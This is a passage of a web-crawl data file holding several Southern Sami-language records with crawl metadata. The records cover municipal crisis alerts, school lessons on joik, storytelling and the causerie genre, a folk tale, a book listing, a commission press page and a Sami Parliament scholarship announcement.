bårsedh, bïerkelimmietjoejem tjuaja. Tjarke tjoeje 7 sekundh tjuaja, dan mænngan sjeavohth 14 sekundh. Dan mænngan tjarke tjoeje viht 7 sekundh. Naemhtie jåhta unnemes 2 minuhth. Gåessie bïerkelimmietjoejem goltelh galkh gåetien sïjse vaedtsedh jïh oksh, klaash jïh aajmoeraejkieh gaptjedh. Dan mænngan galkh voengesradioem goltelh (P4) dellie åadtjoeh daejredh maam deahpadamme jïh maam datne edtjh darjodh.\nKrijsebïevnesh tjïelten webbesijjesne\nJis ovlæhkoe jallh stuvreme sjædta mij gellie almetjidie tsavtsa mah Orrestaaresne årroeminie tjïelte bïevnesh bæjhkohte stuvremen bïjre sov webbesijjesne. Dïhte vuesiehtimmien gaavhtan tjaetsielïekeme, stoerre praedtie jallh eeptsegadtje vearelde mestie el-faamohts sjædta.\nMaahtah tjïelten krijsebïevnesh dængkodh Facebookesne: facebook.com\/ornskoldsvikskommun.krisinformation.\nPraedtiebïerkelimmieh\nFïerhten årromesijjesne byöroe unnemes akte praedtiebïerkelimmie årrodh. Geehth datne praedtiebïerkelimmiem dov åeremetjïehtjelistie govlh jïh mujhtieh batterijide målsodh såemies aejkien.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/bra.ornskoldsvik.se\/omsorgochhjalp\/invandringintegration\/otherlanguagespublicinformation\/aarjelsaemien\/jearsoesvoetejihvihtiesvoete.4.4c4feec515e441a88a91fb8a.html","date":"2019-10-21T04:54:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570987756350.80\/warc\/CC-MAIN-20191021043233-20191021070733-00318.warc.gz","language":"sma","language_score":1.0000021458,"language_script":"Latn","minhash_cluster_size":46,"top_langs":"{\"sma_Latn_score\": 1.000002145767212}","num_words":229,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.052,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Lohkh tjaalegem joejkemen bïjre jïh vaestedh gyhtjelasside.\n1. laavenjasse\nMij lea joejkeme dov mïelen mietie? Tjaelieh golme tsiehkie-baakoeh jïh buerkesth daejtie.\n2. laavenjasse\nGie lij Karl Tirén? Ohtsedh bïevnesh gaskeviermesne.\n3. laavenjasse\nMij lea Lappische volksmusik? Maahtah naan vuesiehtimmieh gaskeviermesne gaavnedh?\n4.laavenjasse\nTirén akten vuelien bïjre soptseste man nomme Samla hjorden, saemien: Haes vuejehth! Dïhte skoerhtje maaje ij lih enne bovtsh vuajeme gænnah.\nMaam joejke-teekste soptseste? Mij lea dan sisvege? Goltelh såemies vuelieh CD:esne Jojk mah åarjelsaemien dajveste. Veeljh aktem dejstie jïh tjaelieh dan bïjre.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:186476\/topic:1:189511\/resource:1:190063","date":"2019-10-15T12:39:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986658566.9\/warc\/CC-MAIN-20191015104838-20191015132338-00473.warc.gz","language":"sma","language_score":0.9999873638,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999873638153076}","num_words":82,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.169,"stopwords_ratio":0.134,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Soptsesh mij dïhte? Ij iktegisth aelhkie daejredh jis akte tjaalege lea soptsese, vaajese, heamturh jnv. Almetjh gujhth iktegisth soptsestamme jïh mijjieh fïerhten biejjien maam akt soptsestibie. Gosse mijjieh dellie soptsestibie maam dååjreme jallh mij heannadamme dellie mijjieh soptsesem darjobe.\nSaemien soptsesh\nSaemien soptsesh jallh heamturh jeatjhlaakan jeatjah laantijste aaj heamturh Nöörjeste jïh Sveerjeste. Eah saemieh soptsestieh slåahten, gånkan, gånkan nïejten jallh gånkan baernien bïjre. Jens Ivar Nergård[1] jeahta saemien soptsestimmie-vuekie lea \"Dïhte jielije dååjrese\". Saemien soptsesh vuesiehtieh guktie saemieh eatnamisnie jealeme jïh guktie eatnemen vierhtide nuhtjeme.\nSaemieh soptsestieh guktie saemieh eatnamasse böötin jïh aaj guktie kreekh leah skaepiedamme. Saemieh aaj soptsestieh nåejtiej, sjïele-hearraj jïh mievriestæjjaj bïjre mah meehtin almetjem juvre-hammose bïejedh. Gosse edtjin dam darjodh die tjoerin veeljedh dam juvrem mïsse almetje plïeresadtje. Dïhte guhte juvren hammosne, meehti ussjedidh goh aerebi. Dïhte tjoeri desnie årrodh goske nåejtie gærroem luejhtieji jallh aaj goske jeemi, jallh aaj goske hammoe idtji vielie sjïehth juktie mïele jorkesovveme.\nSaemien soptsesi ovmessie ulmieh:\n- edtjieh faepieldidh\n- edtjieh dååjresi bïjre soptsestidh\n- edtjieh darjodh juktie saemieh maehtieh ovmessie dååjresh seammalaakan guarkedh\n- edtjieh kultuvrem vaarjelidh\n- dah edtjieh vuesiehtidh guktie edtjebe dåemiedidh jïh jieledh\n- maanah jïh geerve almetjh soptsesi tjïrrh lïerin eatnemen seahkaridh\nDah mah vihkielommes åarjel-saemiej soptsesinie:\n- staaloe\n- rovhtege\n- saajve\n- bïerne\nJeatjah aalkoe-almetji soptsesh\nMijjieh hov daejrebe man bïjre saemieh soptsestin. Men jeatjah aalkoe-almetjh dah aaj seammalaakan soptsesh utnieh guktie mijjieh?\nHeamturh\nHeamturh leah soptsesh almetji, kreeki jïh jeatjah gaagkoej bïjre. Gellien aejkien dahkoe lea slåahten, gånkan, gånkan nïejten jallh gånkan baernien bïjre. Gellie ovmessie heamturh gååvnesieh. Almetje-heamturh dellie soptsestæjja jallh tjaelije ovnohkens. Mearan tjeahpoe-heamturh dellie daejrebe gie heamturem tjaaleme.\n- 1«Den levende erfaring». Nergård, Jens-Ivar. Cappelen Akademisk forlag. 2006.","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:182073\/topic:1:131964","date":"2019-11-13T15:58:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496667262.54\/warc\/CC-MAIN-20191113140725-20191113164725-00230.warc.gz","language":"sma","language_score":0.9999960661,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 0.9999960660934448}","num_words":268,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.123,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Anders Fjellner (1795-1876) lij saemien hearra jïh tjaelije. Dïhte teekstem Biejjien baernien såangoe Jeahnaj laantesne tjeeli. Mijjieh maehtebe daam saemiej sjugniedimmie-eposine gohtjedh.\nAnders Fjellner\nAnders Fjellner, skïereden 18.b. 1795 reakasovvi Ruvhtesne, Härjedaelesne jïh goevten 22.b. 1876 sealadi Suarsesne.\nFjellner lij saemien hearra jïh tjaelije. Jaepien 1821 hearrine sjïdti jïh eelki hearrine Gárasavvonisnie jïh Čohkkirasesne barkedh jaepien 1821. Jaepien 1841 Fjellner båatsoe-raajrojne Suarsese juhtieji jïh desnie årroeji jïh hearrine barki medtie 35 jaepieh. Fjellner åarjel-saemien soptsesti jïh aaj noerhte-saemien gïelem jïh såevmie-gïelem lïeri. Christina Päiviöine, Gárasavvonistie pruvri.\nAnders Fjellner soptsesh, joejke-teeksth jïh vaajesh tjöönghki. Saemieh dovne noerhtene jïh åarjene mytologijen soptsesh Fjellnerasse soptsestin. Dïhte dovne åarjel-saemien jïh noerhte-saemien tjeeli. Saemieh iktegisth joejkeme jïh Fjellner lea joejke-teeksth vaajestamme.\nBiejjien baernien såangoe Jeahnaj eatnamisnie\nSåevmien gïele-dotkije Otto Donner Fjellneren gåajkoe vöölki jïh golteli maam Fjellner soptsesti. Jaepien 1876 Donner tjihtesem «Biejjien baernien såangoe jeahnaj eatnamisnie» bæjhkoehti. Mijjieh maehtebe daam sjugniedimmie-eposine gåhtjodh. Gaatesjen ij originaale-tjaalege daelie gååvnesh jïh boelhkh daestie fååtesieh.\nDaate epose soptseste gubpede dah voestes saemieh båetieh. Saemieh leah biejjien baernien jïh jeahna-nïejten maanah. Fjellnere soptsesti, daam eposem govli dovne Torne-dajvesne jïh åarjel-saemien dajvesne.\n«Biejjien baernien såangoe Jeahnaj eatnamisnie» aalka guktie lij dej beeli, jïh dan mænngan soptseste guktie Biejjien baernie byjjeni jïh sov såangoe-fealadimmien bïjre. Minngemes åadtjobe govledh gaalletje-guaktaj feelemen bïjre bååstide Saapman. Guktie jeahna-nïejten vïellh dejtie dåålvehtin jïh mahte jaksin. Mijjieh maehtebe aaj lohkedh guktie sjïdti gosse dah guaktah Saepmesne jieliejigan. Jeahna-nïejte saemiedehti jïh dah guaktah gellie maanah åadtjoejigan mah leah saemiej maadtoe.[1]\nBaakoeh\nSaemien\nDaaroen\nsaemiedehtedh\ngjøre samisk\n- 1«Biejjien baernie». Gaski, Harald Anders Fjellner. Davvi Girji OS. 2003.\nLaavenjassh: Don aejkien vaarjoej bïjreKjernestoff\nLaavenjassh: Tïjjen 1965 åvtelenKjernestoff\nLaavenjassh: Biejjie-baernieKjernestoff\nLaavenjassh: Johan Turin tjaalegidieKjernestoff\nTjaelieh ussjeden tjaalegemKjernestoff\nLaavenjasse Elsa Laulan bïjreKjernestoff\nLaavenjassh Elsan håalemasseKjernestoff\nÅehpiedehtieh saemien-faageles teemamKjernestoff\nLaavenjassh: GuldnasasKjernestoff\nLaavenjassh: Såångedidh jïh pruvredhKjernestoff\nMåersie faavroeKjernestoff\nSoelege jih nåejtieKjernestoff\nDon aejkien vaarjoej bïjreKjernestoff\nBiejjie-baernien såangoeKjernestoff\nBiejjie-niejten sealadimmieKjernestoff\nVaajese juvri bïjreKjernestoff\nMaana-sujhtemen bïjreKjernestoff\nSaemien tsiehkiej bïjreKjernestoff\nDej baaletje såangoeKjernestoff\nKaarre mij edtji vïjvem veeljedhKjernestoff\nSåångedimmie jïh hïejeKjernestoff\nÅenehks soptseshKjernestoff\nGuldnasasKjernestoff","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:186476\/topic:1:184089\/topic:1:189078\/resource:1:184779","date":"2019-11-19T11:41:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496670135.29\/warc\/CC-MAIN-20191119093744-20191119121744-00101.warc.gz","language":"sma","language_score":0.9996283054,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 0.9996283054351807}","num_words":318,"character_repetition_ratio":0.114,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.113,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Baakoe kååserije båata dehtie fraanske baakoste causerie, mij saemien-gïelesne \"geehpes, frijje soptsestimmie\". Kååserije lij aarebi njaalmeldh sjangere, jïh geehpes soptsestimmie lidteratuvren, filosofijen jïh kåansten mietie.\nDïhte voestes almetje mij baakoem kååserije nuhtji tjaaleldh tjaalegi bïjre, lij dïhte fraanske laejhtije Charles-Augustin Sainte-Beuve (1804-1869). Altese kååserijh lin tjaelije-portrehth lidteratuvre-lahtestimmiejgujmie. Mænngan dle kååserije sjangere-nomme sjïdti geehpes, populære plaerie-lahtestimmide daejremen jïh kåansten bïjre mah njaalmeldh vuekiem utnieh, goh soptsestimmieh.\nKååserije jïh petite\nDoh trygkeme kååserijh aaj gohtjesovvin petitar (fraanske, mij sæjhta jiehtedh onne), tjaeleme-såarhten gaavhtan, mejnie daah teeksth trygkesovvin. Daan biejjien aaj nommem petite nuhtjebe dejtie åenehks, kååsereles tjaalegidie plaerine. Kååserije dan njaalmeldh såarhten bïjre nuhtjebe, v.g. dam maam raadijovisnie, revyine jïh standup-showine govlebe. Tjaalegh daennie sjangerisnie mah leah skuvlesne tjaalasovveme gohtjebe kååserije.\nSaakeles sisvege – stååkeden gïele\nKååserijesne tjaelije tjaala dan rïektes veartenen bïjre – teema lea daamtajommes aarke-biejjien jallh daan beajjetje aati bïjre. Akte kåsööre maahta baakoejgujmie jïh dïejvesigujmie stååkedidh jïh gaajhki såarhts gïeleviehkie-dïrregigujmie.\nLustesvoete jïh ironije\nDatne edtjh teeman bïjre tjaeledh geehpeslaakan jïh lusteslaakan. Dan åvteste vihkeles dïrregh nuhtjedh. Akte kåsööre sïejhme njoelkedassh vadta, lissehte jïh jeatjah dïrregh nuhtjie guktie tjaalege lustes sjædta.\nNjaalmeldh tovna\nLissine kåsööre njaalmeldh tovnam nuhtjie, viehkine aktem aelhkie raajese-bigkemem nuhtjedh, jïh aaj aarkebiejjien baakoeh jïh dïejvesh jallh slaangem.\nPersovneles jïh subjektijve\nGosse kååserijem tjaalah edtjh aktem persovneles tovnam tjaalegisnie nuhtjedh. Maahtah manne- jïh mijjieh-hammoem nuhtjedh, jïh ryöktesth dåastoejasse tjaeledh. Sïejhme vuesiehtidh dov akte persovneles vuajnoe dan aamhtesen bïjre man bïjre tjaalah.\nÅnnetji vielie goh sjollehtimmie\nMujhtieh datne byörh jienebh åssjelh dov tjaaleginie utnedh. Datne edtjh dovne sjollehtidh jïh åssjaldahkh gåaskodh. Dan åvteste dovne hammoe jïh sisvege vihkeles. Ulmie lea lohkijem skreejrehtidh akten aamhtesasse orrelaakan vuartasjidh.\nBaakoeh\nSaemien\nDaaroen\nlaejhtije\nkritiker\nkååserije\nkåseri\nkåsööre\nkåsør\nkååsereles tjaalege\nkåserende tekst\nslaange\nslang\nVïjhteboelhke-vuekien bïjreKjernestoff\nDigkiedimmie-lahteseKjernestoff\nKååserijeKjernestoff\nPersovneles essayKjernestoff\nFaage-tjaalegeKjernestoff\nTjåanghkoeKjernestoff\nByjjes prievieKjernestoff\nNaemhtie byjjes prievie maahta vååjnedhKjernestoff\nGuktie e-påastem tjaeledhKjernestoff\n- Kjernestoff\nLohkije-tjaalegeKjernestoff\nAkte hijven maadth-bïhkedasseKjernestoff\nGïeleviehkie-dïrregh lohkije-tjaaleginieKjernestoff","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/ndla.no\/nb\/subjects\/subject:15\/topic:1:175119\/topic:1:173412\/resource:1:173195","date":"2019-11-19T04:21:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496669967.80\/warc\/CC-MAIN-20191119015704-20191119043704-00062.warc.gz","language":"sma","language_score":0.9999774694,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9999774694442749}","num_words":306,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.137,"stopwords_ratio":0.124,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daate soptsese lea gærjeste Gåebrehki soptsesh maam Knut Bergsland tjaaleme. Gærja voestes aejkien trygkesovvi jaepien 1943 jïh mubpien aejkien jaepien 1987. Ella Holm Bull lea gærjam åarjel-saemien learoe-reaktoen mietie orresistie tjaaleme.\nSjeltien nåejtie\nAkte saemien gobpe mij maarhnide vöölki, jïh dellie åestieji kaaffem, jaavvoem jïh gaajhkh maam daarpesji, jïh dellie vaaresem åestieji. Jïh dellie gåetide vöölki, jïh dellie utni vihties gåetiem gusnie provhki åeredh. Jïh dellie dïhte laedtie jeehti dan saemien ålmese jïjtse laessiem gåetien sïjse tsaekedh, jïh ih galkh baajedh ålkone tjåadtjodh, for gie akt maahta båetedh jïh sualadidh dehtie sov laesseste. Ij satne utnieh maam gelkieh sualadidh.\nMen dellie dan jïjjen akte laedtie bööti jïh dam sov vaaresem galka sualadidh. Jïh dellie dan tjåetskeme lij dan jïjjen. Dellie idtji buektehth destie vaadtsajidh, jïh dellie fihki tjåadtjodh desnie goske låvnes-biejjie sjïdti.\nJïh dellie laedtie jeahta dan aereden jïh gååske bæjjese edtja vaedtsedh vuartasjidh dam sov laessiem. Jaa edtja gaamedidh voestegh jïh edtja tjoevke-biejjie sjïdtedh. Jïh gosse dellie gaamedamme jïh kaaffem jovkeme, dellie olkese vaadtsije. Dellie vaadtsa olkese dan sov laessien gåajkoe. Dellie fihkie vuejnedh akte laedtie tjåadtjoeji jïh steeri dam sov vaarese-paahkam. Jïh dellie veedtsi gåajkoe jïh gijhti gïeteste, jïh dellie jeahta edtja gåatan dåeriedidh jïh dellie jovkestahkem fihkedh. Men dellie jeahta: ih galkh mubpien aejkien vaedtsedh naan slærrese doehtedidh. Jïh dellie dïhte elties hosbåanta-laedtie åadtjoeji vuejnedh barre dïhte sov kraennies-laedtie mij soelege.\nLaavenjassh: Dïhte gollehkeKjernestoff\nQuize: Dïhte gollehke tïjjeKjernestoff\nLaavenjassh: BrorkeKjernestoff\nLaavenjassh: GurhtieKjernestoff\nLaavenjassh: RiepieKjernestoff\nLaavenjassh: Sjugniedimmie-soptseshKjernestoff\nLaavenjassh: Staaloej bïjreKjernestoff\nLaavenjassh: Staaloe jïh åerpienadtjhKjernestoff\nTjaeleme-laavenjassh staaloej bïjreKjernestoff\nLaavenjassh: Rovhtegen bïjreKjernestoff\nLaavenjassh Rovhtegen soptsesasseKjernestoff\nMaam rovhtegen bïjre måjhtah?Kjernestoff\nMaam saajvi bïjre måjhtah?Kjernestoff\nLaavenjassh: Saajvi bïjreKjernestoff\nLaavenjassh: Saajvejaevresne gööleminieKjernestoff\nQuize bïernen bïjreKjernestoff\nLaavenjassh: Bïernen bïjreKjernestoff\nLaavenjassh: Duvrien-ålmaKjernestoff\nLaavenjassh: VaajeseKjernestoff\nLaavenjassh: Biejjien nïejteKjernestoff\nLaavenjassh: Klies KliemmaKjernestoff\nLaavenjassh: Nahkoergöörnjen giebnieKjernestoff\nLaavenjassh: Naahkoegöörnje jaememeKjernestoff\nLaavenjassh: TjuvrieKjernestoff\nLaavenjassh: DïejveshKjernestoff\nDïhte gollehke tïjjeKjernestoff\nBrorkeKjernestoff\nGurhtieKjernestoff\nRiepieKjernestoff\nStaaloej bïjreKjernestoff\nDellie goh staaloe moere-galtine pruvriKjernestoff\nAkte staaloe mij dakterem utniKjernestoff\nStaaloe jïh åerpienadtjhKjernestoff\nNjeevetje-ietnie jïh RovhtegeKjernestoff\nSaajve-jaevresne gööleminieKjernestoff\nSaemie saajvi luvnieKjernestoff\nBïerneKjernestoff\nSaemien jïh boelt-aajjan dååjvehtseKjernestoff\nDuvrien-ålmaKjernestoff\nBiejjien nïejteKjernestoff\nKlies KliemmetKjernestoff\nNahkoergöörnjen giebnieKjernestoff\nNahkoergöörnjen jaememeKjernestoff\n- Kjernestoff\nTjuvrieKjernestoff","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:182073\/topic:1:131964\/topic:1:185443\/resource:1:129720","date":"2019-11-18T17:49:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496669809.82\/warc\/CC-MAIN-20191118154801-20191118182801-00133.warc.gz","language":"sma","language_score":0.9999068975,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999068975448608}","num_words":338,"character_repetition_ratio":0.178,"word_repetition_ratio":0.0,"special_characters_ratio":0.129,"stopwords_ratio":0.112,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije\nBertije\nVaadtasovvemejaepie\n1997\nGiele\nISBN\n8252920675\nFormaate\nSïejhme gærja\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nMennie bielesne\n31\nÅahpenh båatsoebarkojne jïh saemien kultuvrine Inga Karinine ektine.\nMijjieh Buljon fuelhkiem medtie jaepiem dåeriedibie. Mijjieh vuejnebe guktie bovtsigujmie juhtieh, gosse mieside mïerhkesjieh, guktie dah suejnieh tsaepmieh jïh dueljiem gïetedellieh. Mijjieh aaj saemien beapmoevuekine åahpenibie. Gærja gåarede daaroengïelesne lohkedh \"Bli med Inga Karine til reinflokken jïh aaj julevsaemiengïelesne \"Vuolggup Inngá Karinijn elluj\".\nGærja digitaalegærjine gååvnese.","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/ovttas.no\/sma\/girji_vulgot-inga-karine-mielde-ealu-lusa","date":"2019-11-20T06:12:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496670512.94\/warc\/CC-MAIN-20191120060344-20191120084344-00094.warc.gz","language":"sma","language_score":0.9999154806,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"sma_Latn_score\": 0.9999154806137085}","num_words":70,"character_repetition_ratio":0.016,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.114,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Meedije\nKommisjovnen tjåanghkoeh\nSaetniesvoete- jïh liktemekommisjovnen sisnjeles-tjåanghkoeh leah daahpeldihkie jis ij leah kommisjovne maam joem jeatjah nænnoestamme.\nGaahpoeh tjåanghkoeh\nKommisjovnen tjåanghkoeh leah gaahpan almetjidie. Tjåanghkojne kommisjovne jïjtse barkoen jïh mandaaten bïjre soptseste, jïh almetjh åadtjoeh dellie komisjovnem gihtjedidh. Meedije tjoevere jïjtsh latjkoeh kommisjovnine sjïehtesjidh.\nKommisjovnen tjaatsegh jïh våarhkoe\nKommisjovnen tjaatsegh tjöönghkesåvva sjïere våarhkose, maam sekretariaate reerie. Tjöönghkeldihkie materijaale våarhkoe-vearhkan geelkedåvva gosse komisjovne barkoem illeme.\nGuvvieh\nGuvvieh mah kommisjovnen kanaalide bïejesuvvieh, maehtieh åtnose vaeltedh gosse kommisjovnen barkoen bïjre tjaeledh. Mujhtieh, tjaelieh gïeh guvviedamme.\nJeatjah\nKommisjovnen barkoe lea mandaateste jïh Stoerredigkien tjåanghkoenjoelkedasseste §19 stuvrelgamme. Ektievoete kommisjovnen jïh meedijen gaskem lea nænnoestamme daejstie «Pressens etiske retningslinjer» jïh \"Vær varsom-plakaten (VVP)\".\nHåalomh, jiehtegh jïh bööremh\nBïeljelh mijjideInger Elin Utsi\nTlf. 776 46 105\nMob. 907 90 626\nGaajhkh mijjen tjåanghkoeh jïh arrangementh","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/uit.no\/kommisjonen\/presse_%C3%A5s","date":"2019-11-12T21:37:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496665767.51\/warc\/CC-MAIN-20191112202920-20191112230920-00365.warc.gz","language":"sma","language_score":1.0000077486,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000077486038208}","num_words":121,"character_repetition_ratio":0.105,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.14,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkien kultuvre- jïh gaarsjelimmiestipeende edtja saemien noerh skreejrehtidh eadtjaldovvedh tjeahpoen, kultuvren jïh gaarsjelimmien sisnjeli. Njieljie stipeendh, fïereguhte 25 000 kråvnah leah vadtasovveme.\n– Mijjieh veeljeme jïh joekedamme stipeendem njieljie noeride mah hijvenlaakan vuesiehtieh mejnie saemien noerh gïehtelieh tjeahpoen jïh gaarsjelimmien sisnjeli, jïh gusnie gaajhkesh leah hijven illedahkh åådtjeme jïh syjhtedassh utnieh enn væjkalåbpoe sjïdtedh sijjen sjangerinie. Mijjieh dejtie læhkoehtibie jïh gegkiestibie stipeende dejtie viehkehte guhkiebasse jåerhkedh, saemiedigkieraerie Henrik Olsen jeahta.\n11 ohtsemh sïjse böötin, jïh gaajhkh lin krïevenassi mietie. Uktsie ohtsemh lin gaarsjelimmiestipeenden bïjre jïh göökte ohtsemh lin kultuvrestipeenden bïjre.\nDaesnie buerkiestimmieh joekedimmide:\nKultuvrestipeende:\nÁnna-Katri Helander, Kautokeino, lea joekoen væjkele daanhtsoje mij biehkieh sov kultuvreste daaletje tïjjen tjeahpoehammoejgujmie pleentie. Altese stijle jïh vuekie leah jorkesamme jaepiej tjïrrh, jïh sov tjeahpoen tjïrrh vuesiehtamme satne lea tjiehpiedæjja stoerre taleentine. Hiphopen tjïrrh aaj sïllem vaalta siebriedahkedigkiedimmien sïjse. Ánna-Katri lea daan jaepien noere tjiehpiedæjja orreme Riddu Riđđu Festivaalesne 2017, jïh ruffien 2018 sov kreatijve vïesehtimmiem eelki Lásságámmisne.\nGaarsjelimmiestipeende:\nAmalie Kristine Triumf, Storslett, sov gaarsjelimmiem itjmieslaakan vaalta, mij lea aktede dejstie jeenjemes vuartasjæjjavietseles jïh lyjhkedihks gaarsjelimmijste veartenisnie: treavkavuetjeme. Daelie profesjonelle daltesisnie gïehtele, jïh lea gellien aejkien Saepmien åvteste tjoejkeme Arctic Winter Games-gaahtjemisnie. Altese ulmie lea gåhkese båetedh veartenen bööremes treavkavuetjiji gaskem, jïh sæjhta hijven åvteguvvine årrodh saemien noeride.\nPeder Funderud Skogvang, Tromsø, lea dej bööremes orreme nöörjen turneri gaskem gellie jaepieh, jïh lea daelie juniortjïertesne nöörjen laantesiebresne. Dïhte sïlpem veelti Nöörjencupesne 2 2018, jïh ruffien 2019 7. sæjjan bööti senior-NM:sne. Dïhte lea hijven åvteguvvine saemien noeride, jïh lea eadtjohke gaarsjelæjja tjïelke saemien identiteetine.\nTuva Sirin Schall Mikkelsen, Oslo, lea jïengehockeyem spealadamme gellie jaepieh jolle daltesisnie, jïh jienebh bronsemedaljh jïh göökte sïlpemedaljh vaalteme. Dïhte lea eadtjohke gaarsjelæjja, jïh dïejvesem ironwoman åådtjeme eliteseerijisnie jïengehockeyesne. Dïhte vuesiehtamme aaj saemien noerh maehtieh gåhkese båetedh gaarsjelimmine mah eah leah dan sïejhme Saepmesne.\nAarebi vitnijh:\n2008:\nFinn Hågen Krogh\nOdd Isak Kappfjell\n2011:\nGaarsjelimmiestipeende: Christer Kjønsø Karlsen, Silje Wilsgård jïh Marie Sofie H. Hætta\nKultuvrestipeende: Marja Helena Fjellheim Mortensson\n2014:\nGaarsjelimmiestipeende: Ole Mathis Sara Nedrejord jïh Aslak Ole Eira\nKultuvrestipeende: Ina-Theres Andrea Sparrok, Sarakka Gaup jïh Anne Maia Raanes Sørensen\n2016:\nGaarsjelimmiestipeende: Rakel Birkeli jïh Jan Arthur Reinås\nKultuvrestipeende: Anna Linea Fjellheim Varsi jïh Ella Marie Hætta Isaksen\n2018:\nGaarsjelimmiestipeende: Benedicte Guttorm jïh Sajane Karina Olsen\nKultuvrestipeende: Anna Kaisa Partapuoli jïh Johan Daniel Turi\nJis dov leah gihtjehtimmie jallh gyhtjelassh, gaskesadth saemiedigkieraeriem Henrik Olsen, 907 75 219","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/saemiedigkie.no\/Saernievaaarhkoe\/PRM-Kultuvre-jih-gaarsjelimmiestipeende-2019","date":"2019-11-20T16:57:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496670597.74\/warc\/CC-MAIN-20191120162215-20191120190215-00390.warc.gz","language":"sma","language_score":0.9996244907,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.999624490737915}","num_words":368,"character_repetition_ratio":0.084,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.155,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ulmie\nAktene demokrateles siebriedahkesne desnie aarvoeh goh ektiebarkoe jïh seammavyörtegsvoete vihkeles prinsihph. Dïhte mij lea barkoen jarngesne siebriedahkefaagine lea goerkese jïh ïedtje vihkeles almetjereaktaj bïjre, demokrateles aarvoeh jïh mïrrestalleme. Faage edtja skreejredh eadtjohkelaakan meatan årrodh siebriedahkesne jïh demokratijesne, jïh dååjrehtimmieh destie vedtedh.\nAlmetjh leah hammoedamme dehtie kultuvreste gusnie byjjenieh, jïh daate vuajnoeh, daajroeh jïh dahkoeh tsevtsie. Tsiehkiem buerebelaakan guarkedh dan persovneles jieleden jïh siebriedahkejieleden gaskem maahta viehkiehtidh gellievoetem siebriedahkevuekine jïh jieledevuekine jååhkesjidh. Siebriedahkefaagesne goerkese mïrrestallemistie jïh seammavyörtegsvoeteste lea jarngesne. Daan sjïekenisnie lea daajroe kultuvri bïjre Saepmesne meatan, jïh saemiej tsiehkie goh aalkoe-almetjh. Daajroe veartenen jeatjah aalkoe-almetji jïh unnebelåhkoej bïjre lea aaj vihkeles.\nGoh almetjh libie meatan aktene histovreles ektiedimmesne, jïh gellie heannadimmieh histovrijesne leah siebriedahke-evtiedimmiem tsevtseme. Siebriedahkefaagesne learohkh edtjieh lïeredh dan kultuvrelle gellievoeten bïjre veartenisnie åvtesne jïh daelie, jïh lïeredh aerpievuekien jïh daaletje tïjjen bïjre ussjedidh. Faage edtja tjetskiesvoetem gåaskodh aerpievuekien daajroen bïjre. Faagesne lea daajroe dan gaajhkesaemien bïjre, dïhte sæjhta jiehtedh saemien kultuvre abpe Saepmesne. Faage edtja learohki voerkes identiteetem jïh jienebekultuvrelle maahtoem skreejredh, saemien learohki identiteetem nænnoestehtedh jïh 